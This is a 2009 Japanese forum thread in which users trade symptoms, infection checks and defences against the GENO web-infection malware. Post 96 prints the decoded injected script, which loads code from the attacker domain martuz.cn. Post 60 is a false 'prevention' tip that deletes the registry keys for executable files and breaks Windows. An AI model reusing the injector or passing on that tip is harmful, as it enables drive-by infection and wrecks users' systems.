GENOウイルススレ ★21at SEC
GENOウイルススレ ★21 - 暇つぶし2ch1:名無しさん@お腹いっぱい。
09/05/26 23:06:08
★対処法(GENOウイルスチェッカーのサイトから引用)
■ adobe readerを9.1.1にアップデートする(9.1:9.1.0では駄目)
  (9.1.0)
  URLリンク(ardownload.adobe.com)
  (9.1.1↑,をインストールしてから↓を適用)
  URLリンク(ardownload.adobe.com)
  バージョン情報はadobe readerを起動してヘルプ→adobe reader ?についてで表示されます
■ adobe javascriptをオフに
  adobe readerを開いて メニュー→編集→環境設定→javascript→adobe javascriptを使用のチェックを外す
■ adobe flashplayerを最新版に更新
  URLリンク(fpdownload.macromedia.com)
■ FirefoxにてNoscriptを利用
  (Operaでflashオフでもおk([F12]を押す→[プラグインを有効にする]のチェックを外す)
  (sleipnir、IEでも上手に設定するとなんとかなりますが、難しいです。)
  swfのロード、pdfの関連づけ、activeXの無効化がきちんと出来れば問題ないが、IEコンポーネント利用ブラウザでは難しい
  そのアタリが比較的楽に設定できるOperaはお勧め
■ hostsファイル書き換え
  hostsファイルに以下の行を追加
  127.0.0.1 martuz.cn
  hostsファイルの在処
  Windows XPの場合→「C:\WINDOWS\system32\drivers\etc」
  Windows 2000の場合→「C:\WINNT\system32\drivers\etc」
  Windows 95/98/MEの場合→「C:\Windows」

■ Vistaの人ははUACをONにする

★GENOウイルスチェッカー、GENOウイルスまとめ
URLリンク(geno.2ch.tc)

GENOウイルススレ ★20
スレリンク(sec板)

2:名無しさん@お腹いっぱい。
09/05/26 23:06:53
【感染の確認方法】
①cmd.exe(コマンドプロント)、regedit.exe(レジストリエディタ)が起動するか確認する
 ※このウイルスに感染しているとコマンドプロンプト、レジストリエディタが立ち上がらない。
 ■確認方法
 1.スタートから「ファイル名を指定して実行」
 2.「ファイルを指定して実行」という画面が出てくるので、入力欄に
   「regedit.exe」と入力して「OK」ボタンを押す。
   ※立ち上がったことを確認したら弄らず閉じること。
 3.同様に、「cmd.exe」(全部小文字で)と入力して「OK」ボタンを押す
   ※立ち上がったことを確認したら②へ

②sqlsodbc.chmのファイルサイズの確認を確認する
 ■Windows XP:
  改ざんされていなければ
  C:\WINDOWS\system32\sqlsodbc.chm 50,727 bytes
 ■Windows 2000:
  そもそも存在しないはずなので、
  C:\WINDOWS\system32\sqlsodbc.chmが無いことを確認。
 ■確認方法
  1.スタートから「ファイル名を指定して実行」
  2.「ファイルを指定して実行」という画面が出てくるので、入力欄に
  「cmd.exe」(全部小文字で)と入力して「OK」ボタンを押す
   →背景が黒いウィンドウが開いた場合3へ
   →起動しない場合:感染疑い濃厚
  3.背景が黒いウィンドウを選択。
   小文字で「dir C:\WINDOWS\system32\sqlsodbc.chm」と入力してEnterキー

③avast!(無料のアンチウイルスソフト)で確認
  URLリンク(www.btfree.info)
  Code by: 790e3cc3feabad9

3:名無しさん@お腹いっぱい。
09/05/26 23:07:37
③sqlsodbc.chmのファイルサイズの確認を確認する
 ■Windows XP:
  改ざんされていなければ
  C:\WINDOWS\system32\sqlsodbc.chm 50,727 bytes
 ■Windows 2000:
  そもそも存在しないはずなので、
  C:\WINDOWS\system32\sqlsodbc.chmが無いことを確認。


※従来のテンプレのcmd.exeによる確認は危険


★感染した場合
現状ではクリーンインストールするしかない

4:名無しさん@お腹いっぱい。
09/05/26 23:08:20
うったえてやう

5:名無しさん@お腹いっぱい。
09/05/26 23:08:20
糞テンプレ修正完了

6:名無しさん@お腹いっぱい。
09/05/26 23:43:21
> ■ adobe readerを9.1.1にアップデートする(9.1:9.1.0では駄目)
これも間違いじゃなかったっけ? 9.1.1で修正された脆弱性はGENOウイルスとは無関係
> ■ adobe flashplayerを最新版に更新
>   URLリンク(fpdownload.macromedia.com)
だからこれじゃIEのFlash Playerが更新されないってば

7:名無しさん@お腹いっぱい。
09/05/27 00:02:38
>>1
GENOウイルスチェッカー(アフィリエイトも充実)
URLリンク(geno.2ch.tc)← アフィリエイト(Amazon) ↓ソース

<iframe src="p://rcm-jp.amazon.co.jp/e/cm?t=geno2chtc-22&o=9&p=8&l=as1&asins=B001RN8TWK&fc1=000000&IS2=1<1=_blank&m=amazon&lc1=
0000FF&bc1=000000&bg1=FFFFFF&f=ifr" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe>
<iframe src="p://rcm-jp.amazon.co.jp/e/cm?t=geno2chtc-22&o=9&p=8&l=as1&asins=B001F50L8U&fc1=000000&IS2=1<1=_blank&m=amazon&lc1=
0000FF&bc1=000000&bg1=FFFFFF&f=ifr" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe>
<iframe src="p://rcm-jp.amazon.co.jp/e/cm?t=geno2chtc-22&o=9&p=8&l=as1&asins=B001F50LBC&fc1=000000&IS2=1<1=_blank&m=amazon&lc1=
0000FF&bc1=000000&bg1=FFFFFF&f=ifr" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe>
<iframe src="p://rcm-jp.amazon.co.jp/e/cm?t=geno2chtc-22&o=9&p=8&l=as1&asins=B001F50L76&fc1=000000&IS2=1<1=_blank&m=amazon&lc1=
0000FF&bc1=000000&bg1=FFFFFF&f=ifr" style="width:120px;height:240px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe>

Jane使っている人は
ツール-設定-コマンドで
コマンド名 適当
実行するコマンドに URLリンク(geno.2ch.tc)
でjaneから検索でチェックできる

8:名無しさん@お腹いっぱい。
09/05/27 02:21:46
-----------------------------
ActiveX (アクティブエックス)
JavaScript (ジャバスクリプト)
-----------------------------

どんな脆弱性があってもルーター(FW)と
この2つをOFF(無効)にすれば無敵になれる

9:名無しさん@お腹いっぱい。
09/05/27 02:25:24
メールは

クロネコメールをつかえ

10:名無しさん@お腹いっぱい。
09/05/27 02:26:47
ソフトはフリーソフトは使わず市販のソフトのみつかえ

11:名無しさん@お腹いっぱい。
09/05/27 02:47:57
>>8
"無敵"ではない

自分が知ってる限りでも
・HTML解釈ミスによるクラッシュ(IE)
・HTML解釈ミスによる任意コードの実行(IE)←うろ覚えだが存在した筈
・IIS稼働環境+IFRAME←推測だが、IISのURIバグで進入され得る可能性がある
・JPEG解釈ミスによるクラッシュ・任意コードの実行(2ch専用ブラウザ、IE、DLファイル経由他)←一時有名になったGDIのバグ
確かGIFでも起きたはず

副作用なしのクラッシュくらいは余裕で起きるし、静的コンテンツの任意コード実行の脆弱性が残ってればいくらでも進入の危険はある

12:名無しさん@お腹いっぱい。
09/05/27 05:48:27
【感染の確認方法】
①cmd.exe(コマンドプロント)、regedit.exe(レジストリエディタ)が起動するか確認する
起動しない
②sqlsodbc.chmのファイルサイズの確認を確認する
4.00 KB (4,096 バイト

見事に感染しています。
クリーンインストールしたいのですが、質問があります。
データをUSBに移そうとおもうのですが、移すファイルにGENOが入ってないか確かめたい
のですが、どうすればよいでしょうか?



13:名無しさん@お腹いっぱい。
09/05/27 09:02:01
家族PCが感染してました

1.起動してもexplorerが起動しない(ユーザは一見何も出来ない)
2.CTRL+ALT+DELでタスクマネージャー立ち上げて新しいタスク実行
3.CMD起動
4.regedit.exe > 起動しない

regedit.exe互換ソフトなんてありましたっけ?

14:名無しさん@お腹いっぱい。
09/05/27 09:05:22
↑窓の杜にあっさりありました
  失礼しました

 まとめサイトみてもクリーンインストールばかりだったので
(そのほうが安全だけどね)
 対処療法例のひとつとして..




15:名無しさん@お腹いっぱい。
09/05/27 10:29:27
>>14
対処療法にもなってないけどねw

16:名無しさん@お腹いっぱい。
09/05/27 10:49:35
>>14
除去してねーしwww被害広げる前に、クリーンインストールしとけよ。

17:名無しさん@お腹いっぱい。
09/05/27 11:02:47

中古パソコンとパソコンパーツの通販ショップGENO

www.geno-web.jp/


2chのコピペブログを徘徊してたらGENOのサイトが勝手に立ち上がってた
GENOリンクをクリックした覚えは無く沢山タブ開いてたからどこの何が原因か分かりません
こちらのPCに感染らしき症状は見られずここ一週間で2回発生
こんなことってあります?

18:名無しさん@お腹いっぱい。
09/05/27 11:12:20
それマジで早急に精神科で見てもらった方がいいぞ

19:名無しさん@お腹いっぱい。
09/05/27 11:25:07
>>17
勝手に広告のウィンドウが開くのと同じ仕組みを利用して
感染させようとしている奴がいるのでしょ。

20:名無しさん@お腹いっぱい。
09/05/27 11:56:14
クリックしたのを忘れてるんだろ

21:名無しさん@お腹いっぱい。
09/05/27 11:56:51
疑わしい症状を発症したけれど…

勝手にAcrobatReaderが立ち上がってる。
メモリバカ食い。
CPU使用率90%
トレンド、マカフィー、シマンテックのHPが見れない。

最新定義でウィルススキャン→検知せず。
システムの復元で発症一か月前に復元。
再度ウィルススキャン→検知せず。
症状が回復する。

GENOに感染したと思うんだ!だが、システムの復元で回復してるんだ!
事後だけど感染の確認方法をしてみたら異常はないんだけれど、
念の為、PCをクリーンインストールした方がいいだろうか。。。

22:名無しさん@お腹いっぱい。
09/05/27 12:04:49
力説するくらいならそのままで良いんじゃないの
多分大丈夫って意見が欲しい書き込みにしか見えないし

23:名無しさん@お腹いっぱい。
09/05/27 12:08:18
>>21
前スレの最後の方読んだ?
システムの復元だけじゃsqlsodbc.chmのサイズが
感染前に戻らない(=ウイルス消えない)
経験談が出てるよ
念の為でなく、真面目に駆除したかったら
クリーンインスコしましょう



24:名無しさん@お腹いっぱい。
09/05/27 12:11:38
それか、この際とことん実験する気あるなら
ホストファイルのlocalhost以外のip
全削除した状態で最新パターンファイルに更新した後
ウイルスチェックして削除できるか見てみてよ
報告よろしこ

25:名無しさん@お腹いっぱい。
09/05/27 12:14:36
何がなんだかわからんやつは前消し

26:名無しさん@お腹いっぱい。
09/05/27 12:16:06
訂正
× localhost以外
○ localhost以下の行(localhostの行は残す)

27:21です。
09/05/27 12:25:22
今、前スレ読んできた…。
クリーンインストールしてみるよ。
ありがとん。

28:名無しさん@お腹いっぱい。
09/05/27 12:57:32
結局この騒動はなんだったんだろう

29:名無しさん@お腹いっぱい。
09/05/27 13:37:45
キャッシュを消しただけではどうにもならないということを学びました

30:名無しさん@お腹いっぱい。
09/05/27 13:52:41
>>1
おい!!せっかくテンプレ修正してたのに!!


★5月27日現在、沈静化しています。


★GENOウイルスチェッカー、GENOウイルスまとめ
URLリンク(geno.2ch.tc)


★対処法(GENOウイルスチェッカーのサイトから引用)
■ adobe readerを9.1.1にアップデートする(9.1:9.1.0では駄目)
  (9.1.0)
  URLリンク(ardownload.adobe.com)
  (9.1.1↑,をインストールしてから↓を適用)
  URLリンク(ardownload.adobe.com)
  バージョン情報はadobe readerを起動してヘルプ→adobe reader ?についてで表示されます
■ adobe javascriptをオフに
  adobe readerを開いて メニュー→編集→環境設定→javascript→adobe javascriptを使用のチェックを外す
■ adobe flashplayerを最新版に更新
  URLリンク(fpdownload.macromedia.com)

■ Operaでプラグイン、Javaをオフ(JavaScript単体では全く安全です。)
  1.[F12]を押す→[プラグインを有効にする]のチェックを外す)
  2.[F12]を押す→[javaを有効にする]のチェックを外す)
  (sleipnir、IEでも上手に設定するとなんとかなりますが、難しいです。
  この方法だと便利なJavaScriptを犠牲にせず、簡単に安全なブラウジングが実現できます
  さらに、QuickTimeなどの未知の脆弱性にも対処できます)

■ Vistaの人ははUACをONにする

31:名無しさん@お腹いっぱい。
09/05/27 13:57:02
★症状
・sqlsodbc.chmを改変
・cmd.exe、regedit.exeが起動不能
・一部のアンチウイルスソフトが更新不能
・特定サイトにアクセス不能(Windows Update、アンチウイルスソフト関連サイト)
・ネットワークのトラフィックを監視、ユーザー名やパスワード等の情報を収集
・Googleの検索結果を改竄(リンクを弄る)
・explorer.exeや一部のブラウザが異常終了
・Acrobatが勝手に起動
・PDFファイルやシステムファイルが増殖
・CPU、メモリ使用率がUP
・再起動時にBSOD

★Anubisレポート
URLリンク(anubis.iseclab.org)

★感染確認方法
①regedit.exe(レジストリエディタ)が起動するか確認する
 ※このウイルスに感染しているとレジストリエディタが立ち上がらない。
 1.スタートから「ファイル名を指定して実行」
 2.「ファイルを指定して実行」という画面が出てくるので、入力欄に
   「regedit.exe」と入力して「OK」ボタンを押す。
   ※立ち上がったことを確認したら弄らず閉じること。

②sqlsodbc.chmのファイルサイズの確認を確認する
 Windows XP,Windows 2000にて、
  改ざんされていなければ
  C:\WINDOWS\system32\sqlsodbc.chm 50,727 bytes

※従来のテンプレのcmd.exeによる確認は危険
※従来のテンプレによるとWindows 2000ではsqlsodbc.chmが無いことになってるが
  .NET framework等にくっついてインスコされる

32:名無しさん@お腹いっぱい。
09/05/27 13:58:38
★GENOウイルス感染からの復帰方法
(当方、この対処法について全く確認していません。自己責任でお願いします。)
1.C:\WINDOWS\Prefetch 内を全部削除
2.[Windowsキー] + [R] を押してファイル名を指定して実行で msconfig
3.スタートアップに何も書かれていない行があったのでチェックをOFF
4.再起動
5.C:\WINDOWS\System32\sqlsodbc.chm を削除 → 復活しないことを確認
6.正常なsqlsodbc.chm(URLリンク(www1.axfc.net))に差し替え

33:名無しさん@お腹いっぱい。
09/05/27 14:28:21
>>30
>>7
アフィチェッカー

34:名無しさん@お腹いっぱい。
09/05/27 14:33:37
しつこい


35:名無しさん@お腹いっぱい。
09/05/27 14:54:46
久々にきたら21になってて腰抜かした

36:名無しさん@お腹いっぱい。
09/05/27 14:56:39
よく考えたら10分前にもきてた

37:名無しさん@お腹いっぱい。
09/05/27 15:01:55
友達にどのプロバイダー使ってるか聞いたらさ、「教えぬ!」って言うわけよ。
ちょっとカチンと来たけど我慢してもう一度聞いたら、「だから教えぬ!」だってさ。
あんなに頑固な奴だとは思わなかったぜ

38:名無しさん@お腹いっぱい。
09/05/27 15:25:30
ocn

39:名無しさん@お腹いっぱい。
09/05/27 16:41:23
plala

40:名無しさん@お腹いっぱい。
09/05/27 16:46:03
eooooooooooooooooooooooo

41:名無しさん@お腹いっぱい。
09/05/27 16:46:58
■FireFox のリンク先読み機能を無効にする

about:config
network.prefetch-next → false

42:名無しさん@お腹いっぱい。
09/05/27 16:49:43
テンプレみて感じた事
>>1
火狐厨乙
>>7
アフィ厨乙
>>30
Opera厨乙

43:名無しさん@お腹いっぱい。
09/05/27 16:52:54
>>7
アフィチェッカーうぜぇ
GENOと共に死ね


ちなみにAmazonのアフィ

geno2chtc-22

geno2chtc

44:名無しさん@お腹いっぱい。
09/05/27 16:55:27
推奨NGワード 「アフィ」 「チェッカー」 「厨」

45:名無しさん@お腹いっぱい。
09/05/27 17:02:36
>>44
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::。:::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::。::::::...... ...   --─-  :::::::::::::::::::: ..::::: . ..::::::::
:::::::::::::::::...... ....:::::::゜::::::::::..   (___ )(___ ) ::::。::::::::::::::::: ゜.::::::::::::
:. .:::::。:::........ . .::::::::::::::::: _ i/ = =ヽi :::::::::::::。::::::::::: . . . ..::::
:::: :::::::::.....:☆彡::::   //[||    」  ||]  ::::::::::゜:::::::::: ...:: :::::
 :::::::::::::::::: . . . ..: :::: / ヘ | |  ____,ヽ | | :::::::::::.... .... .. .::::::::::::::
::::::...゜ . .:::::::::  /ヽ ノ    ヽ__/  ....... . .::::::::::::........ ..::::
:.... .... .. .     く  /     三三三∠⌒>:.... .... .. .:.... .... ..
:.... .... ..:.... .... ..... .... .. .:.... .... .. ..... .... .. ..... ............. .. . ........ ......
:.... . ∧∧   ∧∧  ∧∧   ∧∧ .... .... .. .:.... .... ..... .... .. .
... ..:(   )ゝ (   )ゝ(   )ゝ(   )ゝ無茶しやがって… ..........
....  i⌒ /   i⌒ /  i⌒ /   i⌒ / .. ..... ................... .. . ...
..   三  |   三  |   三  |   三 |  ... ............. ........... . .....
...  ∪ ∪   ∪ ∪   ∪ ∪  ∪ ∪ ............. ............. .. ........ ...
  三三  三三  三三   三三
 三三  三三  三三   三三

46:名無しさん@お腹いっぱい。
09/05/27 17:04:00
ググるのは危ないって本当ですか?
一応ヤフーで検索してるけど不便で

47:名無しさん@お腹いっぱい。
09/05/27 17:04:05
チェッカーをNG入りさせるとソースチェッカーとかのレスも消えるからやだ

48:名無しさん@お腹いっぱい。
09/05/27 17:04:17
ここまで感染無し

49:名無しさん@お腹いっぱい。
09/05/27 17:05:22
>>46
マジウソ

50:名無しさん@お腹いっぱい。
09/05/27 17:05:26
気づいていないだけだったりして

51:名無しさん@お腹いっぱい。
09/05/27 17:06:06
ググる先生が気になるなら念のため、先読み無効にしておけば問題なし

52:名無しさん@お腹いっぱい。
09/05/27 17:17:50
sqlsodbc.chmのファイルサイズ確認って、
このファイル名で検索して出てきたサイズ見るだけじゃダメなの?

53:名無しさん@お腹いっぱい。
09/05/27 17:19:34
>>49>>51
>>41の対策しました、ありがとうございます

54:名無しさん@お腹いっぱい。
09/05/27 17:22:00
検索でやってみた。 

sqlsodbc.chm

サイズ 49.5 KB (50,727 バイト)

ディスク上のサイズ 52.0 KB (53,248 バイト)

55:名無しさん@お腹いっぱい。
09/05/27 17:31:55
つまり検索では確認手段として十分とは言えないって事なのか

56:名無しさん@お腹いっぱい。
09/05/27 17:32:34
どうして「従来のテンプレのcmd.exeによる確認は危険」なんですか?
もう何度かやったんですけど…

57:名無しさん@お腹いっぱい。
09/05/27 17:36:40
sqlsodbc.ch_

BASHO=I386

COPY

SYSTEM32

RENAME

sqlsodbc.chm

RESTART

58:名無しさん@お腹いっぱい。
09/05/27 18:12:27
「姿を変えて検出回避」「攻撃サイトは閉鎖」、最新Webウイルスの詳細
シマンテックが緊急説明会、「別の攻撃サイトが出現する恐れあり」
URLリンク(itpro.nikkeibp.co.jp)

特に目新しい情報はなさそうだけど貼っとく

59:名無しさん@お腹いっぱい。
09/05/27 18:20:39
アフィリンク復活させやがった
shine

60:名無しさん@お腹いっぱい。
09/05/27 18:23:22
予防策
レジストリエディタを開いて、以下のキーを全て削除して、再起動
HKEY_LOCAL_MACHINE\Software\CLASSES\.dll
HKEY_LOCAL_MACHINE\Software\CLASSES\.exe
HKEY_LOCAL_MACHINE\Software\CLASSES\.sys
HKEY_LOCAL_MACHINE\Software\CLASSES\dllfile
HKEY_LOCAL_MACHINE\Software\CLASSES\exefile
HKEY_LOCAL_MACHINE\Software\CLASSES\sysfile
上記のキーはウィルス・スパイウェアを活動させます

61:名無しさん@お腹いっぱい。
09/05/27 18:23:45
せっかくテンプレから外してたのに


62:名無しさん@お腹いっぱい。
09/05/27 18:23:59
コピペでクレジットの情報とかも抜かれるって読んだんだけど本当?
インターネットウォッチとかの記事読む限りFTP関係しか書いてないんだが

63:名無しさん@お腹いっぱい。
09/05/27 18:24:44
しらん

64:名無しさん@お腹いっぱい。
09/05/27 18:24:45
>>54
俺もサイズ 49.5 KB (50,727 バイト)だったけど大丈夫ってことだよな?

65:名無しさん@お腹いっぱい。
09/05/27 18:29:17
>>64 調べたが問題ないみたいだ たぶんww

66:名無しさん@お腹いっぱい。
09/05/27 18:31:39
>>64
今後の予防に
>>60を実行してください

67:名無しさん@お腹いっぱい。
09/05/27 18:34:48
>>54
容量的には正常
更に気になるならハッシュ値の確認をどうぞ

68:名無しさん@お腹いっぱい。
09/05/27 18:36:13
正常なsqlsodbc.chm
ファイルサイズ:50,727バイト
CRC32:B61C7A80
MD5:F639AFDE02547603A3D3930EE4BF8C12
SHA-1:FBDD32ED13D27E4102621E1067FDF3634F33B2C3

69:名無しさん@お腹いっぱい。
09/05/27 18:36:48
もういいや
後はAVGちゃんが何とかしてくれるに決まってるもん

70:名無しさん@お腹いっぱい。
09/05/27 19:12:36
すまん教えてくれ。
そもそもGENOのサイトが改竄されたのは、ハッキングなの?

71:名無しさん@お腹いっぱい。
09/05/27 19:17:45
サイトの管理者がネットでいかがわしい所に行ったPCで踏んできたんじゃない?


72:名無しさん@お腹いっぱい。
09/05/27 19:18:31
じゃなくて 踏んできたPCでサイト更新したからじゃない?

73:名無しさん@お腹いっぱい。
09/05/27 19:23:40
踏んできたPCで更新かけても、
ファイル転送がSFTPだったら暗号とけなくて
ウイルス涙目?

74:名無しさん@お腹いっぱい。
09/05/27 19:50:30
>>56
GENOじゃない他のウイルスでそれ起動させると悪化するやつがあるとかってどっかのスレで見た
自分もよく知らないけど健康なPCなら起動させても問題ないんじゃないの

75:名無しさん@お腹いっぱい。
09/05/27 20:03:02
Returnilを使ってればGENOを踏んで感染しても、
OSを再起動した時点で「感染しなかった事になる」
再起動後、パスワードを変更するだけでおk。


【仮想化】Returnil Virtual System【仮想化】
スレリンク(sec板)

76:名無しさん@お腹いっぱい。
09/05/27 20:06:14
①cmd.exe(コマンドプロント)、regedit.exe(レジストリエディタ)が起動するか確認する
両方とも起動

②sqlsodbc.chmのファイルサイズの確認を確認する 
↑いまこれを確認してるのですが、
cmd.exeの真っ黒い画面に「dir C:\WINDOWS\system32\sqlsodbc.chm」と打ち込んでも
ファイルが見つかりませんと出ます。

Vistaだからでしょうか?

77:名無しさん@お腹いっぱい。
09/05/27 20:12:25
>>70
現時点でGENOからの説明は一切ないっぽい。
もし犯人がショッピングサイトだと知っていてハック&改竄したのだとしたら、
それこそクレカ情報とか心配だな。

78:名無しさん@お腹いっぱい。
09/05/27 20:22:48
GENOウイルス騒動で再考するマルウェア対策 - ITmedia エンタープライズ
URLリンク(www.itmedia.co.jp)

 感染活動による攻撃者の狙いは、
ユーザーを詐欺サイトへ誘導する目的で検索エンジンの結果を書き換えたり、
不正広告を配信したりすることや、詐欺的ソフトのインストール、
個人情報の盗難、バックドアのインストールなどがあるとみられる。
いずれの場合でも、金銭やボットマシンの確保といったサイバー犯罪の流行に沿ったものである可能性が高い。

 シマンテックセキュリティレスポンスの林薫主任研究員は、
「こうした攻撃では自動化された攻撃ツールを使われるのが一般的だが、
今回は人海戦術によってち密な計画で仕掛けられた可能性がある」と推測する。


79:名無しさん@お腹いっぱい。
09/05/27 20:25:43
GENO伝説ここに始まる。一気に全国区へ。

80:名無しさん@お腹いっぱい。
09/05/27 20:37:32
>>56
その書き込みをどこで見たのかわからんがWikiに載ってるまま指摘ないんだし問題ないよな…?
というかかなりの数の人がcmd.exeで確認しただろうしそれが危険だとしたらやばいと思うが

81:名無しさん@お腹いっぱい。
09/05/27 20:37:48
本当にこのGENOウィルスは豚インフルの感染の広がりと同期してるんじゃないか
また冬に再流行とか止めてくれよ

82:名無しさん@お腹いっぱい。
09/05/27 20:56:02
Vista使えよ馬鹿?

83:56
09/05/27 20:56:52
>>74
>>80
そうですか。ありがとうございます。
今は大丈夫ですが、>>3>>31に書いてあったので気になりました。


84:名無しさん@お腹いっぱい。
09/05/27 20:58:45
ウイルスじゃなくても情報が漏れることあります

【情報流出】楽天、利用者のメールアドレスを含む個人情報を「1件10円」でダウンロード販売していることが判明
スレリンク(newsplus板)

85:名無しさん@お腹いっぱい。
09/05/27 20:58:47
xp→windows7

vistaはスルー

86:名無しさん@お腹いっぱい。
09/05/27 20:59:44
>>1はなんでわざわざ古いテンプレを使うの?
アホなの?バカなの?死ぬの?

87:名無しさん@お腹いっぱい。
09/05/27 21:04:51
>>84
今更、何を
楽天では昔からのデフォ仕様(暗黙の了解、自己責任)
っていうか、ネットのショッピングモール自体がどこも似たような事をやってる
まー、通販ではカード決済は出来るだけ避けろってこった

88:名無しさん@お腹いっぱい。
09/05/27 21:10:03
「通常購入データ.csv」「オークションデータ.csv」「プレゼントデータ.csv」「共同購入データ.csv」「資料請求データ.csv」
「商品問合せデータ.csv」となっており、名字・名前・郵便番号・住所・電話番号・ニックネーム・
メールアドレス・クレジットカード番号・クレジットカード名義人・クレジットカード有効期限といった各種個人情報が記載されています。

ネット通販だけでこれだけ情報売られるのか‥

89:名無しさん@お腹いっぱい。
09/05/27 21:14:13
アマゾンもアウトかしら
タダで渡して売ってないから法的にはセーフ?
このタイミングでこの告発ってのは厚労省に睨まれた結果なんだろうけど

90:名無しさん@お腹いっぱい。
09/05/27 21:14:57
>>76
vistaは sqlsodbc.chm の場所が違います。

C:\Windows\Help\mui\0411\sqlsodbc.chm

気が済むまでチェックするよろし。

91:名無しさん@お腹いっぱい。
09/05/27 21:43:24
>>66
初心者はレジストリいじるなって言われたんですが大丈夫でしょうか

92:名無しさん@お腹いっぱい。
09/05/27 22:04:10
>>91
いじらない方がいいと思う

93:名無しさん@お腹いっぱい。
09/05/27 22:05:50
>>92
了解です、ありがとうございます

94:名無しさん@お腹いっぱい。
09/05/27 22:09:48
普段使ってるアカウントの方は壷使えなくなった上すごい重くてネットできない
だから別のアカウント使ってるんだけどタスクマネージャ見てたらプロセスがやけに少なくなってる
7つしかないよ。さっきはこれの4倍くらいあったのに

クリーンインストールしたいけどネットの設定を戻せる気がしない

95:名無しさん@お腹いっぱい。
09/05/27 22:27:00
>>85
勘違いする初心者が続出しそうな予感

96:名無しさん@お腹いっぱい。
09/05/27 22:34:59
a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)
&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)
&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");}

97:名無しさん@お腹いっぱい。
09/05/27 22:37:04
>96はデコードしたスクリプト
NT6とChromeは特別扱いらしい

98:名無しさん@お腹いっぱい。
09/05/27 22:38:44
いまさらいきなりなに

99:名無しさん@お腹いっぱい。
09/05/27 22:53:09
16日にはデコードされていたスクリプト
見た瞬間分かるような情報
いったい何がしたかったのか

100:名無しさん@お腹いっぱい。
09/05/27 23:00:50
fc2、記事書いて全ユーザーにメールで注意したみたいだ
ついでにFTPの仕様も変えるみたい
URLリンク(blog.fc2.com)
URLリンク(blog.fc2.com)


101:名無しさん@お腹いっぱい。
09/05/27 23:01:09
>>89
アマゾンはほしいものリスト経由の個人情報流出事件が記憶に新しい
yahooも当然、前歴あり
ネット通販は、ある程度の流出は仕方ないくらいの認識じゃないとやっていけないよ

102:名無しさん@お腹いっぱい。
09/05/27 23:22:45
vistaでよかったわ

103:名無しさん@お腹いっぱい。
09/05/27 23:27:37
vistaでよかったと思える時が来るなんて思わんかった

104:名無しさん@お腹いっぱい。
09/05/27 23:34:41
なんだか可哀そうだぞw

105:名無しさん@お腹いっぱい。
09/05/27 23:39:02
>100

テンプレートが改竄されてた事には触れてないな

106:名無しさん@お腹いっぱい。
09/05/28 00:17:41
関係ないけど、いまだに改竄を一瞬「かいそ」と読んでしまう。

わかってるねん、わかってるねんで?

107:名無しさん@お腹いっぱい。
09/05/28 00:26:16
関係無いけど、きじゃくせいって「既知の脆弱性」の略だと思ってた

…どうした?

108:名無しさん@お腹いっぱい。
09/05/28 00:32:28
>しかもさまざまな亜種が存在、アンチウイルスソフトのアップデートでの完全対応は難しいのが現状です。しかし、不正侵入検知機能(IPS)を備えた統合セキュリティソフトでは、これらの被害を防げるのです。
断言しているけど大丈夫か?
URLリンク(shop.vector.co.jp)

109:名無しさん@お腹いっぱい。
09/05/28 00:39:12
>>108
なんだ知らなかったよ
JSをオフらなくてもソフトのIPSが防いでくれてたのか
一応ウイルスにかかった形跡もなかったから問題ないな

110:名無しさん@お腹いっぱい。
09/05/28 00:43:59
ところでavastとaviraもIPSって付いているのか?

111:名無しさん@お腹いっぱい。
09/05/28 00:50:53
>>100
FC2のブログとHPのサービス他4つ利用してるけどメール来ない…

112:名無しさん@お腹いっぱい。
09/05/28 00:53:44
>>110
ウイルスセキュリティゼロは付いていたっぽい
防御機能してたか知らんけど…

113:名無しさん@お腹いっぱい。
09/05/28 01:12:28
Vista+ UACにして適当な>>108を入れて
FIREFOX+NOSCRIPT+先読み無効
まめなうpデートで超おkなん?

でもショップGENOはどうやってウイルスにかかったんやろ?
アドベのアップもしなかったくらいだからノーガードやったかもな


114:名無しさん@お腹いっぱい。
09/05/28 01:22:19
>>113
しらねーよw
GENOはキャッシュ消せば治るとほざいてたくらいだから無防備仕様じゃろw

115:名無しさん@お腹いっぱい。
09/05/28 01:23:40
海外のeroticサイトでもみてたんだろか

116:名無しさん@お腹いっぱい。
09/05/28 01:24:04
>>111が何気にゲンキがない
病気やったんやろか

117:名無しさん@お腹いっぱい。
09/05/28 01:30:28

㌧フルエンザにかかっても2日以内に
タマゴ酒のめば直る

118:名無しさん@お腹いっぱい。
09/05/28 01:44:00
>>60やったらぶっ壊れた

119:名無しさん@お腹いっぱい。
09/05/28 02:18:45
書き込み出来てるじゃねぇか。
ちなみにscrファイルを書き換えさせてるわけではないので、regedit.exeをregedit.scrにリネームして復元するべし。

120:名無しさん@お腹いっぱい。
09/05/28 04:17:49
>>60
って誰でもあるの?削除して大丈夫なの?

121:名無しさん@お腹いっぱい。
09/05/28 04:48:48
誰でもある。
削除したらだめ。

122:名無しさん@お腹いっぱい。
09/05/28 05:48:23
楽天がメールアドレス含む個人情報を「1件10円」でダウンロード販売していることが判明 ★2
スレリンク(news板)

123:名無しさん@お腹いっぱい。
09/05/28 06:30:41
Genoウイルスの感染メカニズム【前編】(Scan) - Yahoo!ニュース
(5月27日18時38分配信)
URLリンク(headlines.yahoo.co.jp)

124:名無しさん@お腹いっぱい。
09/05/28 09:19:31
自動アップデートが無効になってオーディオデバイスが無しになってマイクロソフトとか特定のサイトにアクセスできなくなるんだけどこれって感染してる?

125:名無しさん@お腹いっぱい。
09/05/28 10:01:12
>>124
>>1


126:名無しさん@お腹いっぱい。
09/05/28 10:38:09
hosts

127:名無しさん@お腹いっぱい。
09/05/28 10:45:35
失礼
hostsファイル開いてみそ
127.0.0.1localhost
(127.0.0.1をローカルホストにする)
の記述の後に、
マイクロソフトやアンチウィルス系の
